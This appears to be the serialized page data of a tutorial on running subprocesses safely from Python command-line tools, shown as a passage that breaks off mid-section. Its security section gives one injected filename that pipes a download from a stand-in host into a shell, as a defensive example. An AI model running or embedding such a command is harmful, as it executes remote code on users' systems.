[{"data":1,"prerenderedAt":2760},["ShallowReactive",2],{"page-\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002F":3,"content-directory":2213},{"id":4,"title":5,"body":6,"date":2199,"description":2200,"difficulty":2201,"draft":2202,"extension":2203,"meta":2204,"navigation":229,"path":2205,"seo":2206,"stem":2207,"tags":2208,"updated":2199,"__hash__":2212},"content\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Findex.md","Running Subprocesses from Python CLIs",{"type":7,"value":8,"toc":2175},"minimark",[9,40,58,62,67,150,159,169,182,185,199,202,444,473,477,480,483,495,662,698,702,712,715,1271,1294,1298,1301,1325,1416,1422,1436,1451,1455,1481,1495,1499,1522,1529,1533,1536,1580,1591,1856,1871,1875,1878,1969,1980,1984,2036,2040,2049,2057,2068,2074,2078,2085,2092,2101,2105,2122,2126,2171],[10,11,12,13,17,18,21,22,25,26,29,30,33,34,39],"p",{},"Sooner or later every internal tool shells out. A deploy command calls ",[14,15,16],"code",{},"rsync",", a release command calls ",[14,19,20],{},"git",", a build helper runs ",[14,23,24],{},"npm"," or ",[14,27,28],{},"docker",". The ",[14,31,32],{},"subprocess"," module makes the first version of that easy to write and surprisingly easy to get wrong: output that arrives all at once after a two-minute silence, a child that keeps running after your tool has given up on it, a traceback where a one-line error should be, or a filename that turns into a second command. This topic covers running other programs from a Python CLI deliberately — as a boundary with its own inputs, outputs and failure modes, the same way you treat ",[35,36,38],"a",{"href":37},"\u002Fadvanced-input-parsing-user-experience\u002F","user input"," or an HTTP API.",[10,41,42,43,47,48,52,53,57],{},"It sits in the ",[35,44,46],{"href":45},"\u002Fcli-runtime-systems-integration\u002F","CLI Runtime & Systems Integration"," section, next to ",[35,49,51],{"href":50},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002F","filesystem work"," and ",[35,54,56],{"href":55},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002F","concurrency",", because those three tend to show up together: a command that builds something, writes the result somewhere, and does several things at once.",[59,60],"inline-diagram",{"name":61},"sp-topic-map",[63,64,66],"h2",{"id":65},"tldr","TL;DR",[68,69,70,87,108,123,139],"ul",{},[71,72,73,74,78,79,82,83,86],"li",{},"Pass an ",[75,76,77],"strong",{},"argument list",", never a string: ",[14,80,81],{},"subprocess.run([\"git\", \"log\", \"-n\", \"5\"])",". Only use ",[14,84,85],{},"shell=True"," for fixed strings you wrote yourself.",[71,88,89,90,93,94,93,97,100,101,52,104,107],{},"Always decide on ",[14,91,92],{},"check",", ",[14,95,96],{},"capture_output",[14,98,99],{},"text","\u002F",[14,102,103],{},"encoding",[14,105,106],{},"timeout"," explicitly. Implicit defaults are how a CLI silently ignores a failed child.",[71,109,110,111,114,115,118,119,122],{},"Use ",[14,112,113],{},"run()"," for short commands; drop to ",[14,116,117],{},"Popen"," when you need ",[75,120,121],{},"output as it happens",".",[71,124,125,126,129,130,134,135,138],{},"Translate child failures into ",[75,127,128],{},"your"," error model: a clear message on stderr and a meaningful ",[35,131,133],{"href":132},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Fchoosing-exit-codes-for-cli-tools\u002F","exit code",", not a ",[14,136,137],{},"CalledProcessError"," traceback.",[71,140,141,142,145,146,149],{},"Put every call to a given program behind ",[75,143,144],{},"one function",". It is the seam your tests replace and the one place you fix encoding, ",[14,147,148],{},"cwd"," and environment handling.",[63,151,153,155,156,158],{"id":152},"run-first-popen-when-you-must",[14,154,113],{}," first, ",[14,157,117],{}," when you must",[10,160,161,164,165,168],{},[14,162,163],{},"subprocess.run()"," is the high-level API: it starts the program, waits for it, optionally captures its output, and hands you a ",[14,166,167],{},"CompletedProcess",". For the majority of CLI use — ask git for the current branch, run a formatter, call a compiler — it is the right tool, and it cleans up after itself even when an exception is raised.",[10,170,171,174,175,177,178,181],{},[14,172,173],{},"subprocess.Popen"," is the lower layer that ",[14,176,113],{}," is built on. It starts the process and returns immediately, which means you are responsible for reading its pipes, waiting on it, and killing it if something goes wrong. You need that control in two situations: when the output must reach the user ",[75,179,180],{},"while the child is still running"," (a build log, a test run), and when your tool has to interact with the child — write to its stdin in pieces, or supervise several children at once.",[59,183],{"name":184},"sp-run-vs-popen",[10,186,187,188,190,191,195,196,198],{},"A useful rule: if you catch yourself calling ",[14,189,113],{}," and then wishing the user could see progress, that is the moment to switch — see ",[35,192,194],{"href":193},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fstreaming-subprocess-output-in-real-time\u002F","streaming subprocess output in real time",". Until then, ",[14,197,113],{}," keeps the code shorter and the failure modes fewer.",[10,200,201],{},"Here is the shape almost every call in a CLI should take:",[203,204,209],"pre",{"className":205,"code":206,"language":207,"meta":208,"style":208},"language-python shiki shiki-themes github-light github-dark","import subprocess\n\n\ndef git(*args: str, cwd: str | None = None) -> str:\n    \"\"\"Run git and return stdout; raise CalledProcessError on failure.\"\"\"\n    result = subprocess.run(\n        [\"git\", *args],\n        cwd=cwd,\n        check=True,\n        capture_output=True,\n        text=True,\n        encoding=\"utf-8\",\n        timeout=60,\n    )\n    return result.stdout.strip()\n\n\nprint(git(\"rev-parse\", \"--abbrev-ref\", \"HEAD\"))\n","python","",[14,210,211,224,231,236,283,290,302,318,330,344,356,368,381,394,400,409,414,419],{"__ignoreMap":208},[212,213,216,220],"span",{"class":214,"line":215},"line",1,[212,217,219],{"class":218},"szBVR","import",[212,221,223],{"class":222},"sVt8B"," subprocess\n",[212,225,227],{"class":214,"line":226},2,[212,228,230],{"emptyLinePlaceholder":229},true,"\n",[212,232,234],{"class":214,"line":233},3,[212,235,230],{"emptyLinePlaceholder":229},[212,237,239,242,246,249,252,255,259,262,264,267,270,273,275,278,280],{"class":214,"line":238},4,[212,240,241],{"class":218},"def",[212,243,245],{"class":244},"sScJk"," git",[212,247,248],{"class":222},"(",[212,250,251],{"class":218},"*",[212,253,254],{"class":222},"args: ",[212,256,258],{"class":257},"sj4cs","str",[212,260,261],{"class":222},", cwd: ",[212,263,258],{"class":257},[212,265,266],{"class":218}," |",[212,268,269],{"class":257}," None",[212,271,272],{"class":218}," =",[212,274,269],{"class":257},[212,276,277],{"class":222},") -> ",[212,279,258],{"class":257},[212,281,282],{"class":222},":\n",[212,284,286],{"class":214,"line":285},5,[212,287,289],{"class":288},"sZZnC","    \"\"\"Run git and return stdout; raise CalledProcessError on failure.\"\"\"\n",[212,291,293,296,299],{"class":214,"line":292},6,[212,294,295],{"class":222},"    result ",[212,297,298],{"class":218},"=",[212,300,301],{"class":222}," subprocess.run(\n",[212,303,305,308,311,313,315],{"class":214,"line":304},7,[212,306,307],{"class":222},"        [",[212,309,310],{"class":288},"\"git\"",[212,312,93],{"class":222},[212,314,251],{"class":218},[212,316,317],{"class":222},"args],\n",[212,319,321,325,327],{"class":214,"line":320},8,[212,322,324],{"class":323},"s4XuR","        cwd",[212,326,298],{"class":218},[212,328,329],{"class":222},"cwd,\n",[212,331,333,336,338,341],{"class":214,"line":332},9,[212,334,335],{"class":323},"        check",[212,337,298],{"class":218},[212,339,340],{"class":257},"True",[212,342,343],{"class":222},",\n",[212,345,347,350,352,354],{"class":214,"line":346},10,[212,348,349],{"class":323},"        capture_output",[212,351,298],{"class":218},[212,353,340],{"class":257},[212,355,343],{"class":222},[212,357,359,362,364,366],{"class":214,"line":358},11,[212,360,361],{"class":323},"        text",[212,363,298],{"class":218},[212,365,340],{"class":257},[212,367,343],{"class":222},[212,369,371,374,376,379],{"class":214,"line":370},12,[212,372,373],{"class":323},"        encoding",[212,375,298],{"class":218},[212,377,378],{"class":288},"\"utf-8\"",[212,380,343],{"class":222},[212,382,384,387,389,392],{"class":214,"line":383},13,[212,385,386],{"class":323},"        timeout",[212,388,298],{"class":218},[212,390,391],{"class":257},"60",[212,393,343],{"class":222},[212,395,397],{"class":214,"line":396},14,[212,398,399],{"class":222},"    )\n",[212,401,403,406],{"class":214,"line":402},15,[212,404,405],{"class":218},"    return",[212,407,408],{"class":222}," result.stdout.strip()\n",[212,410,412],{"class":214,"line":411},16,[212,413,230],{"emptyLinePlaceholder":229},[212,415,417],{"class":214,"line":416},17,[212,418,230],{"emptyLinePlaceholder":229},[212,420,422,425,428,431,433,436,438,441],{"class":214,"line":421},18,[212,423,424],{"class":257},"print",[212,426,427],{"class":222},"(git(",[212,429,430],{"class":288},"\"rev-parse\"",[212,432,93],{"class":222},[212,434,435],{"class":288},"\"--abbrev-ref\"",[212,437,93],{"class":222},[212,439,440],{"class":288},"\"HEAD\"",[212,442,443],{"class":222},"))\n",[10,445,446,447,450,451,454,455,458,459,461,462,464,465,469,470,472],{},"Every keyword there is a decision. ",[14,448,449],{},"check=True"," turns a non-zero exit into an exception instead of a return code you might forget to read. ",[14,452,453],{},"capture_output=True"," keeps the child's output out of your user's terminal until you decide what to do with it. ",[14,456,457],{},"text=True"," with an explicit ",[14,460,103],{}," gives you ",[14,463,258],{}," decoded the same way on every machine rather than whatever the locale happens to be — a real problem on Windows, covered in ",[35,466,468],{"href":467},"\u002Fadvanced-input-parsing-user-experience\u002Fcross-platform-terminal-compatibility\u002Ffixing-unicode-and-encoding-errors-on-windows\u002F","fixing Unicode and encoding errors on Windows",". And ",[14,471,106],{}," makes sure a hung child cannot hang your tool forever.",[63,474,476],{"id":475},"what-happens-between-spawn-and-exit","What happens between spawn and exit",[10,478,479],{},"It helps to hold a picture of the process lifecycle, because most subprocess bugs are one step of it being skipped. Your CLI asks the operating system to start a program with an argument vector. The child runs, writing bytes to whichever file descriptors it was given. Eventually it exits with a status, and the operating system keeps a small record of that status until the parent collects it — \"reaping\" the child. A child that has exited but not been reaped is a zombie; one whose parent has died is an orphan, adopted by the init process.",[59,481],{"name":482},"sp-lifecycle",[10,484,485,487,488,490,491,494],{},[14,486,113],{}," performs every one of those steps for you. With ",[14,489,117],{},", the ",[14,492,493],{},"with"," statement does the waiting on exit, which is why you should always use it:",[203,496,498],{"className":205,"code":497,"language":207,"meta":208,"style":208},"import subprocess\n\nwith subprocess.Popen(\n    [\"pytest\", \"-q\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.STDOUT,\n    text=True,\n    encoding=\"utf-8\",\n) as proc:\n    for line in proc.stdout:\n        print(f\"[tests] {line}\", end=\"\")\n\nprint(\"exit status:\", proc.returncode)\n",[14,499,500,506,510,517,533,548,562,573,584,595,609,646,650],{"__ignoreMap":208},[212,501,502,504],{"class":214,"line":215},[212,503,219],{"class":218},[212,505,223],{"class":222},[212,507,508],{"class":214,"line":226},[212,509,230],{"emptyLinePlaceholder":229},[212,511,512,514],{"class":214,"line":233},[212,513,493],{"class":218},[212,515,516],{"class":222}," subprocess.Popen(\n",[212,518,519,522,525,527,530],{"class":214,"line":238},[212,520,521],{"class":222},"    [",[212,523,524],{"class":288},"\"pytest\"",[212,526,93],{"class":222},[212,528,529],{"class":288},"\"-q\"",[212,531,532],{"class":222},"],\n",[212,534,535,538,540,543,546],{"class":214,"line":285},[212,536,537],{"class":323},"    stdout",[212,539,298],{"class":218},[212,541,542],{"class":222},"subprocess.",[212,544,545],{"class":257},"PIPE",[212,547,343],{"class":222},[212,549,550,553,555,557,560],{"class":214,"line":292},[212,551,552],{"class":323},"    stderr",[212,554,298],{"class":218},[212,556,542],{"class":222},[212,558,559],{"class":257},"STDOUT",[212,561,343],{"class":222},[212,563,564,567,569,571],{"class":214,"line":304},[212,565,566],{"class":323},"    text",[212,568,298],{"class":218},[212,570,340],{"class":257},[212,572,343],{"class":222},[212,574,575,578,580,582],{"class":214,"line":320},[212,576,577],{"class":323},"    encoding",[212,579,298],{"class":218},[212,581,378],{"class":288},[212,583,343],{"class":222},[212,585,586,589,592],{"class":214,"line":332},[212,587,588],{"class":222},") ",[212,590,591],{"class":218},"as",[212,593,594],{"class":222}," proc:\n",[212,596,597,600,603,606],{"class":214,"line":346},[212,598,599],{"class":218},"    for",[212,601,602],{"class":222}," line ",[212,604,605],{"class":218},"in",[212,607,608],{"class":222}," proc.stdout:\n",[212,610,611,614,616,619,622,625,627,630,633,635,638,640,643],{"class":214,"line":358},[212,612,613],{"class":257},"        print",[212,615,248],{"class":222},[212,617,618],{"class":218},"f",[212,620,621],{"class":288},"\"[tests] ",[212,623,624],{"class":257},"{",[212,626,214],{"class":222},[212,628,629],{"class":257},"}",[212,631,632],{"class":288},"\"",[212,634,93],{"class":222},[212,636,637],{"class":323},"end",[212,639,298],{"class":218},[212,641,642],{"class":288},"\"\"",[212,644,645],{"class":222},")\n",[212,647,648],{"class":214,"line":370},[212,649,230],{"emptyLinePlaceholder":229},[212,651,652,654,656,659],{"class":214,"line":383},[212,653,424],{"class":257},[212,655,248],{"class":222},[212,657,658],{"class":288},"\"exit status:\"",[212,660,661],{"class":222},", proc.returncode)\n",[10,663,664,665,668,669,672,673,93,676,672,679,682,683,686,687,25,690,693,694,122],{},"On POSIX, ",[14,666,667],{},"returncode"," is negative when the child was killed by a signal: ",[14,670,671],{},"-15"," for ",[14,674,675],{},"SIGTERM",[14,677,678],{},"-9",[14,680,681],{},"SIGKILL",". Shells report the same event as ",[14,684,685],{},"128 + signal",", so a script calling your tool expects ",[14,688,689],{},"143",[14,691,692],{},"137",". Mapping between the two is part of translating a child's result into yours, and it is the subject of ",[35,695,697],{"href":696},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fhandling-subprocess-timeouts-and-exit-codes\u002F","handling subprocess timeouts and exit codes",[63,699,701],{"id":700},"errors-belong-to-your-cli-not-to-the-child","Errors belong to your CLI, not to the child",[10,703,704,705,707,708,711],{},"When a child fails, the user did not ask to run ",[14,706,16],{}," — they asked to run ",[709,710,128],"em",{}," command. The error they see should be about what they asked for, with enough of the child's output to diagnose it, and your tool should exit with a code that scripts can rely on. Three distinct failures need three distinct responses:",[59,713],{"name":714},"sp-error-translation",[203,716,718],{"className":205,"code":717,"language":207,"meta":208,"style":208},"import shutil\nimport subprocess\nimport sys\n\nimport typer\n\napp = typer.Typer()\n\n\ndef run_tool(argv: list[str], timeout: float = 120) -> str:\n    if shutil.which(argv[0]) is None:\n        typer.echo(f\"error: {argv[0]!r} is not installed or not on PATH\", err=True)\n        raise typer.Exit(127)\n    try:\n        proc = subprocess.run(\n            argv, check=True, capture_output=True, text=True, encoding=\"utf-8\", timeout=timeout\n        )\n    except subprocess.TimeoutExpired:\n        typer.echo(f\"error: {argv[0]} did not finish within {timeout:.0f}s\", err=True)\n        raise typer.Exit(124)\n    except subprocess.CalledProcessError as exc:\n        tail = \"\\n\".join(exc.stderr.strip().splitlines()[-10:])\n        typer.echo(f\"error: {argv[0]} failed with exit code {exc.returncode}\", err=True)\n        if tail:\n            typer.echo(tail, err=True)\n        raise typer.Exit(1)\n    return proc.stdout\n\n\n@app.command()\ndef sync(src: str, dest: str) -> None:\n    \"\"\"Mirror SRC to DEST with rsync.\"\"\"\n    run_tool([\"rsync\", \"-a\", \"--delete\", \"--\", src, dest])\n    typer.echo(f\"synced {src} -> {dest}\")\n\n\nif __name__ == \"__main__\":\n    app()\n",[14,719,720,727,733,740,744,751,755,765,769,773,802,823,862,875,882,891,935,940,948,992,1004,1017,1045,1086,1095,1109,1121,1129,1134,1139,1148,1173,1179,1206,1238,1243,1248,1265],{"__ignoreMap":208},[212,721,722,724],{"class":214,"line":215},[212,723,219],{"class":218},[212,725,726],{"class":222}," shutil\n",[212,728,729,731],{"class":214,"line":226},[212,730,219],{"class":218},[212,732,223],{"class":222},[212,734,735,737],{"class":214,"line":233},[212,736,219],{"class":218},[212,738,739],{"class":222}," sys\n",[212,741,742],{"class":214,"line":238},[212,743,230],{"emptyLinePlaceholder":229},[212,745,746,748],{"class":214,"line":285},[212,747,219],{"class":218},[212,749,750],{"class":222}," typer\n",[212,752,753],{"class":214,"line":292},[212,754,230],{"emptyLinePlaceholder":229},[212,756,757,760,762],{"class":214,"line":304},[212,758,759],{"class":222},"app ",[212,761,298],{"class":218},[212,763,764],{"class":222}," typer.Typer()\n",[212,766,767],{"class":214,"line":320},[212,768,230],{"emptyLinePlaceholder":229},[212,770,771],{"class":214,"line":332},[212,772,230],{"emptyLinePlaceholder":229},[212,774,775,777,780,783,785,788,791,793,796,798,800],{"class":214,"line":346},[212,776,241],{"class":218},[212,778,779],{"class":244}," run_tool",[212,781,782],{"class":222},"(argv: list[",[212,784,258],{"class":257},[212,786,787],{"class":222},"], timeout: ",[212,789,790],{"class":257},"float",[212,792,272],{"class":218},[212,794,795],{"class":257}," 120",[212,797,277],{"class":222},[212,799,258],{"class":257},[212,801,282],{"class":222},[212,803,804,807,810,813,816,819,821],{"class":214,"line":358},[212,805,806],{"class":218},"    if",[212,808,809],{"class":222}," shutil.which(argv[",[212,811,812],{"class":257},"0",[212,814,815],{"class":222},"]) ",[212,817,818],{"class":218},"is",[212,820,269],{"class":257},[212,822,282],{"class":222},[212,824,825,828,830,833,835,838,840,843,846,848,851,853,856,858,860],{"class":214,"line":370},[212,826,827],{"class":222},"        typer.echo(",[212,829,618],{"class":218},[212,831,832],{"class":288},"\"error: ",[212,834,624],{"class":257},[212,836,837],{"class":222},"argv[",[212,839,812],{"class":257},[212,841,842],{"class":222},"]",[212,844,845],{"class":218},"!r",[212,847,629],{"class":257},[212,849,850],{"class":288}," is not installed or not on PATH\"",[212,852,93],{"class":222},[212,854,855],{"class":323},"err",[212,857,298],{"class":218},[212,859,340],{"class":257},[212,861,645],{"class":222},[212,863,864,867,870,873],{"class":214,"line":383},[212,865,866],{"class":218},"        raise",[212,868,869],{"class":222}," typer.Exit(",[212,871,872],{"class":257},"127",[212,874,645],{"class":222},[212,876,877,880],{"class":214,"line":396},[212,878,879],{"class":218},"    try",[212,881,282],{"class":222},[212,883,884,887,889],{"class":214,"line":402},[212,885,886],{"class":222},"        proc ",[212,888,298],{"class":218},[212,890,301],{"class":222},[212,892,893,896,898,900,902,904,906,908,910,912,914,916,918,920,922,924,926,928,930,932],{"class":214,"line":411},[212,894,895],{"class":222},"            argv, ",[212,897,92],{"class":323},[212,899,298],{"class":218},[212,901,340],{"class":257},[212,903,93],{"class":222},[212,905,96],{"class":323},[212,907,298],{"class":218},[212,909,340],{"class":257},[212,911,93],{"class":222},[212,913,99],{"class":323},[212,915,298],{"class":218},[212,917,340],{"class":257},[212,919,93],{"class":222},[212,921,103],{"class":323},[212,923,298],{"class":218},[212,925,378],{"class":288},[212,927,93],{"class":222},[212,929,106],{"class":323},[212,931,298],{"class":218},[212,933,934],{"class":222},"timeout\n",[212,936,937],{"class":214,"line":416},[212,938,939],{"class":222},"        )\n",[212,941,942,945],{"class":214,"line":421},[212,943,944],{"class":218},"    except",[212,946,947],{"class":222}," subprocess.TimeoutExpired:\n",[212,949,951,953,955,957,959,961,963,965,967,970,972,974,977,979,982,984,986,988,990],{"class":214,"line":950},19,[212,952,827],{"class":222},[212,954,618],{"class":218},[212,956,832],{"class":288},[212,958,624],{"class":257},[212,960,837],{"class":222},[212,962,812],{"class":257},[212,964,842],{"class":222},[212,966,629],{"class":257},[212,968,969],{"class":288}," did not finish within ",[212,971,624],{"class":257},[212,973,106],{"class":222},[212,975,976],{"class":218},":.0f",[212,978,629],{"class":257},[212,980,981],{"class":288},"s\"",[212,983,93],{"class":222},[212,985,855],{"class":323},[212,987,298],{"class":218},[212,989,340],{"class":257},[212,991,645],{"class":222},[212,993,995,997,999,1002],{"class":214,"line":994},20,[212,996,866],{"class":218},[212,998,869],{"class":222},[212,1000,1001],{"class":257},"124",[212,1003,645],{"class":222},[212,1005,1007,1009,1012,1014],{"class":214,"line":1006},21,[212,1008,944],{"class":218},[212,1010,1011],{"class":222}," subprocess.CalledProcessError ",[212,1013,591],{"class":218},[212,1015,1016],{"class":222}," exc:\n",[212,1018,1020,1023,1025,1028,1031,1033,1036,1039,1042],{"class":214,"line":1019},22,[212,1021,1022],{"class":222},"        tail ",[212,1024,298],{"class":218},[212,1026,1027],{"class":288}," \"",[212,1029,1030],{"class":257},"\\n",[212,1032,632],{"class":288},[212,1034,1035],{"class":222},".join(exc.stderr.strip().splitlines()[",[212,1037,1038],{"class":218},"-",[212,1040,1041],{"class":257},"10",[212,1043,1044],{"class":222},":])\n",[212,1046,1048,1050,1052,1054,1056,1058,1060,1062,1064,1067,1069,1072,1074,1076,1078,1080,1082,1084],{"class":214,"line":1047},23,[212,1049,827],{"class":222},[212,1051,618],{"class":218},[212,1053,832],{"class":288},[212,1055,624],{"class":257},[212,1057,837],{"class":222},[212,1059,812],{"class":257},[212,1061,842],{"class":222},[212,1063,629],{"class":257},[212,1065,1066],{"class":288}," failed with exit code ",[212,1068,624],{"class":257},[212,1070,1071],{"class":222},"exc.returncode",[212,1073,629],{"class":257},[212,1075,632],{"class":288},[212,1077,93],{"class":222},[212,1079,855],{"class":323},[212,1081,298],{"class":218},[212,1083,340],{"class":257},[212,1085,645],{"class":222},[212,1087,1089,1092],{"class":214,"line":1088},24,[212,1090,1091],{"class":218},"        if",[212,1093,1094],{"class":222}," tail:\n",[212,1096,1098,1101,1103,1105,1107],{"class":214,"line":1097},25,[212,1099,1100],{"class":222},"            typer.echo(tail, ",[212,1102,855],{"class":323},[212,1104,298],{"class":218},[212,1106,340],{"class":257},[212,1108,645],{"class":222},[212,1110,1112,1114,1116,1119],{"class":214,"line":1111},26,[212,1113,866],{"class":218},[212,1115,869],{"class":222},[212,1117,1118],{"class":257},"1",[212,1120,645],{"class":222},[212,1122,1124,1126],{"class":214,"line":1123},27,[212,1125,405],{"class":218},[212,1127,1128],{"class":222}," proc.stdout\n",[212,1130,1132],{"class":214,"line":1131},28,[212,1133,230],{"emptyLinePlaceholder":229},[212,1135,1137],{"class":214,"line":1136},29,[212,1138,230],{"emptyLinePlaceholder":229},[212,1140,1142,1145],{"class":214,"line":1141},30,[212,1143,1144],{"class":244},"@app.command",[212,1146,1147],{"class":222},"()\n",[212,1149,1151,1153,1156,1159,1161,1164,1166,1168,1171],{"class":214,"line":1150},31,[212,1152,241],{"class":218},[212,1154,1155],{"class":244}," sync",[212,1157,1158],{"class":222},"(src: ",[212,1160,258],{"class":257},[212,1162,1163],{"class":222},", dest: ",[212,1165,258],{"class":257},[212,1167,277],{"class":222},[212,1169,1170],{"class":257},"None",[212,1172,282],{"class":222},[212,1174,1176],{"class":214,"line":1175},32,[212,1177,1178],{"class":288},"    \"\"\"Mirror SRC to DEST with rsync.\"\"\"\n",[212,1180,1182,1185,1188,1190,1193,1195,1198,1200,1203],{"class":214,"line":1181},33,[212,1183,1184],{"class":222},"    run_tool([",[212,1186,1187],{"class":288},"\"rsync\"",[212,1189,93],{"class":222},[212,1191,1192],{"class":288},"\"-a\"",[212,1194,93],{"class":222},[212,1196,1197],{"class":288},"\"--delete\"",[212,1199,93],{"class":222},[212,1201,1202],{"class":288},"\"--\"",[212,1204,1205],{"class":222},", src, dest])\n",[212,1207,1209,1212,1214,1217,1219,1222,1224,1227,1229,1232,1234,1236],{"class":214,"line":1208},34,[212,1210,1211],{"class":222},"    typer.echo(",[212,1213,618],{"class":218},[212,1215,1216],{"class":288},"\"synced ",[212,1218,624],{"class":257},[212,1220,1221],{"class":222},"src",[212,1223,629],{"class":257},[212,1225,1226],{"class":288}," -> ",[212,1228,624],{"class":257},[212,1230,1231],{"class":222},"dest",[212,1233,629],{"class":257},[212,1235,632],{"class":288},[212,1237,645],{"class":222},[212,1239,1241],{"class":214,"line":1240},35,[212,1242,230],{"emptyLinePlaceholder":229},[212,1244,1246],{"class":214,"line":1245},36,[212,1247,230],{"emptyLinePlaceholder":229},[212,1249,1251,1254,1257,1260,1263],{"class":214,"line":1250},37,[212,1252,1253],{"class":218},"if",[212,1255,1256],{"class":257}," __name__",[212,1258,1259],{"class":218}," ==",[212,1261,1262],{"class":288}," \"__main__\"",[212,1264,282],{"class":222},[212,1266,1268],{"class":214,"line":1267},38,[212,1269,1270],{"class":222},"    app()\n",[10,1272,1273,1274,1277,1278,1281,1282,1285,1286,1289,1290,122],{},"Three details carry most of the value. Checking ",[14,1275,1276],{},"shutil.which()"," ",[75,1279,1280],{},"before"," doing any work means a missing dependency is reported instantly and nothing is left half-done. Showing only the ",[75,1283,1284],{},"tail"," of the child's stderr keeps the message readable — most tools put the actual error at the end. And exit codes 124 and 127 match what ",[14,1287,1288],{},"timeout(1)"," and shells use, so anyone wrapping your tool already knows what they mean. The broader case for this style of error output is made in ",[35,1291,1293],{"href":1292},"\u002Fadvanced-input-parsing-user-experience\u002Ferror-handling-and-exit-codes\u002Ffriendly-error-messages-and-tracebacks\u002F","friendly error messages and tracebacks",[63,1295,1297],{"id":1296},"environment-working-directory-and-stdin","Environment, working directory and stdin",[10,1299,1300],{},"A child inherits more than its arguments. By default it gets your process's environment variables, current working directory, and open standard streams. Each of those is a source of surprising behaviour.",[10,1302,1303,1306,1307,1277,1310,1313,1314,93,1317,1320,1321,1324],{},[75,1304,1305],{},"Environment."," Passing ",[14,1308,1309],{},"env=",[709,1311,1312],{},"replaces"," the environment wholesale — including ",[14,1315,1316],{},"PATH",[14,1318,1319],{},"HOME"," and, on Windows, ",[14,1322,1323],{},"SYSTEMROOT",", without which many programs fail in odd ways. When you want to add or override a variable, copy first:",[203,1326,1328],{"className":205,"code":1327,"language":207,"meta":208,"style":208},"import os\nimport subprocess\n\nenv = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\", \"LC_ALL\": \"C.UTF-8\"}\nsubprocess.run([\"git\", \"fetch\"], env=env, check=True)\n",[14,1329,1330,1337,1343,1347,1385],{"__ignoreMap":208},[212,1331,1332,1334],{"class":214,"line":215},[212,1333,219],{"class":218},[212,1335,1336],{"class":222}," os\n",[212,1338,1339,1341],{"class":214,"line":226},[212,1340,219],{"class":218},[212,1342,223],{"class":222},[212,1344,1345],{"class":214,"line":233},[212,1346,230],{"emptyLinePlaceholder":229},[212,1348,1349,1352,1354,1357,1360,1363,1366,1369,1372,1374,1377,1379,1382],{"class":214,"line":238},[212,1350,1351],{"class":222},"env ",[212,1353,298],{"class":218},[212,1355,1356],{"class":222}," {",[212,1358,1359],{"class":218},"**",[212,1361,1362],{"class":222},"os.environ, ",[212,1364,1365],{"class":288},"\"GIT_TERMINAL_PROMPT\"",[212,1367,1368],{"class":222},": ",[212,1370,1371],{"class":288},"\"0\"",[212,1373,93],{"class":222},[212,1375,1376],{"class":288},"\"LC_ALL\"",[212,1378,1368],{"class":222},[212,1380,1381],{"class":288},"\"C.UTF-8\"",[212,1383,1384],{"class":222},"}\n",[212,1386,1387,1390,1392,1394,1397,1400,1403,1405,1408,1410,1412,1414],{"class":214,"line":285},[212,1388,1389],{"class":222},"subprocess.run([",[212,1391,310],{"class":288},[212,1393,93],{"class":222},[212,1395,1396],{"class":288},"\"fetch\"",[212,1398,1399],{"class":222},"], ",[212,1401,1402],{"class":323},"env",[212,1404,298],{"class":218},[212,1406,1407],{"class":222},"env, ",[212,1409,92],{"class":323},[212,1411,298],{"class":218},[212,1413,340],{"class":257},[212,1415,645],{"class":222},[10,1417,1418,1421],{},[14,1419,1420],{},"GIT_TERMINAL_PROMPT=0"," is a good example of the general principle: a child that might prompt for credentials should be told not to when your tool is running unattended, or it will sit waiting for input nobody will type. Setting a fixed locale makes output formats and sort orders predictable enough to parse.",[10,1423,1424,1427,1428,1431,1432,1435],{},[75,1425,1426],{},"Working directory."," Use ",[14,1429,1430],{},"cwd="," rather than ",[14,1433,1434],{},"os.chdir()",". Changing your own process's directory is global state; it affects every relative path afterwards, including in threads, and it is easy to forget to change back.",[10,1437,1438,1441,1442,1445,1446,1450],{},[75,1439,1440],{},"Standard input."," A child inherits your stdin. If your tool is itself reading from a pipe, the child can consume data you meant to read. Pass ",[14,1443,1444],{},"stdin=subprocess.DEVNULL"," for children that should never read input — which is most of them — and see ",[35,1447,1449],{"href":1448},"\u002Fadvanced-input-parsing-user-experience\u002Fworking-with-stdin-stdout-and-pipes\u002Freading-piped-input-in-python-clis\u002F","reading piped input in Python CLIs"," for the parent side of that story.",[63,1452,1454],{"id":1453},"security-arguments-not-strings","Security: arguments, not strings",[10,1456,1457,1458,1461,1462,1464,1465,1468,1469,1472,1473,1476,1477,1480],{},"The single most important rule in this topic is also the shortest: ",[75,1459,1460],{},"do not build command strings from data",". With ",[14,1463,85],{},", Python hands your string to ",[14,1466,1467],{},"\u002Fbin\u002Fsh"," (or ",[14,1470,1471],{},"cmd.exe","), which interprets semicolons, pipes, backticks, ",[14,1474,1475],{},"$(...)",", globs and redirections. A filename like ",[14,1478,1479],{},"report; curl evil.example | sh"," becomes two commands. With an argument list, the program is executed directly and every element arrives as exactly one argument, whatever characters it contains.",[10,1482,1483,1484,1486,1487,1490,1491,122],{},"Argument lists close the shell hole, but not every hole: a value beginning with ",[14,1485,1038],{}," can still be read as an option by the program you call. Put ",[14,1488,1489],{},"--"," before positional data where the program supports it. The full treatment, including the rare cases where you genuinely need a shell, is in ",[35,1492,1494],{"href":1493},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Favoiding-shell-injection-in-python-clis\u002F","avoiding shell injection in Python CLIs",[63,1496,1498],{"id":1497},"wrapping-a-tool-you-call-a-lot","Wrapping a tool you call a lot",[10,1500,1501,1502,1505,1506,93,1509,1512,1513,1517,1518,1521],{},"If your CLI calls the same program in many places — git is the classic example — stop scattering ",[14,1503,1504],{},"subprocess.run"," calls through your commands. Write a small module of typed functions (",[14,1507,1508],{},"current_branch() -> str",[14,1510,1511],{},"changed_files(since: str) -> list[Path]",") on top of a single runner. That module is where encoding, working directory and error translation live, and it becomes the one seam your tests replace. 